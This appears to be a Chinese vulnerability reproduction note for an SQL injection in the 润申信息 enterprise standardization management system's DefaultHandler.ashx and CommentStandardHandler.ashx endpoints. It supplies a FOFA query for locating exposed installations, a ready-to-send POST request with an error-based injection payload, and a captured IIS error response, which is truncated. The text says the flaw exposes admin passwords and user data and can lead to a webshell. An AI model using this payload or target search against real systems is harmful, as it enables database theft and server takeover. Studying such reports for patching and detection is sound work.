R14-2润申信息-企业标准化管理系统-SQL

漏洞描述：

润申信息科技企业标准化管理系统 CommentStandardHandler.ashx、DefaultHandler.ashx接口处存在SQL注入漏洞。攻击者可利用漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

网站图片：

网络测绘：

fofa语法：

FOFA：body="企业标准化管理系统"

漏洞复现：

payload：

```
POST /ashx/DefaultHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=GetDetail&status=300&id=1 and (select db_name())>0--
```

效果图:
查询当前数据库名


Request
数据包扫描
热加载
构造请求
POST /ashx/DefaultHandler.ashx HTTP/1.1
Host: :8095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=GetDetail&status=300&id=1 and (select db_name())>0--
Responses
9703bytes / 107ms
HTTP/1.1 500 Internal Server Erro
Cache-Control: private
Content-Type: text/html; charset=
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Nov 2023 15:46:59 G
Content-Length: 9703
<!DOCTYPE html>
<html>
<head>
<title>在将 nvarchar 值
<meta name="viewport"
<style>
body {font-family:"Verda
p {font-family:"Verdana"
b {font-family:"Verdana"
H1 { font-family:"Verdan
H2 { font-family:"Verdan
pre {font-family:"Consol
padding:0.5em;line-heigh
.marker {font-weight: bo
.version {color: gray;}